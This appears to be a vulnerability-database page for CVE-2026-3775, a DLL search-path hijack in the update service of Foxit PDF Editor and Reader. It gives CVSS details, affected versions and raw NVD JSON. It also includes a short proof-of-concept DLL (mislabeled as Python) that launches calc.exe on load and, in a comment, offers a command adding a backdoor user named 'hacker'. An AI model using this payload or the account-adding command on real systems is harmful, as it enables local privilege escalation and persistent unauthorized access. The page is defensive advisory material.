CVE-2026-3775

Description

The application's update service, when checking for updates, loads certain system libraries from a search path that includes directories writable by low‑privileged users and is not strictly restricted to trusted system locations. Because these libraries may be resolved and loaded from user‑writable locations, a local attacker can place a malicious library there and have it loaded with SYSTEM privileges, resulting in local privilege escalation and arbitrary code execution.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Foxit PDF Reader (受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <windows.h>
#include <stdlib.h>

// Entry point for the DLL
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // Code to execute when the DLL is loaded
        // Example: Launching calc.exe to demonstrate execution
        WinExec("calc.exe", SW_SHOW);
        // Or add a user: system("net user hacker P@ssw0rd /add");
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3775
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3775
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3775/
[4] VulDB https://vuldb.com/cve/CVE-2026-3775
[5] https://www.foxit.com/support/security-bulletins.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3775", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2026-04-01T02:16:02.440", "lastModified": "2026-04-14T17:56:31.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The application's update service, when checking for updates, loads certain system libraries from a search path that includes directories writable by low‑privileged users and is not strictly restricted to trusted system locations. Because these libraries may be resolved and loaded from user‑writable locations, a local attacker can place a malicious library there and have it loaded with SYSTEM privileges, resulting in local privilege escalation and arbitrary code execution."}, {"lang": "es", "value": "El servicio de actualización de la aplicación, al buscar actualizaciones, carga ciertas bibliotecas del sistema desde una ruta de búsqueda que incluye directorios escribibles por usuarios con pocos privilegios y no está estrictamente restringida a ubicaciones de sistema confiables. Debido a que estas bibliotecas pueden ser resueltas y cargadas desde ubicaciones escribibles por el usuario, un atacante local puede colocar una biblioteca maliciosa allí y hacer que se cargue con privilegios de SYSTEM, lo que resulta en una escalada de privilegios local y ejecución de código arbitrario."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.2.24014", "matchCriteriaId": "8E9FD877-062E-4AE4-B7D7-91E1CA8657DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0.33046", "versionEndIncluding": "14.0.2.33402", "matchCriteriaId": "6B7281CC-97ED-4441-BB97-6C73E328B9AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1.0.27937", "versionEndIncluding": "2025.3.0.35737", "matchCriteriaId": "AD0AAFC0-5B9B-4A11-8967-4699792850F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.3.0.35737", "matchCriteriaId": "1A7AD877-2AB4-4568-8109-5406D2259725"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}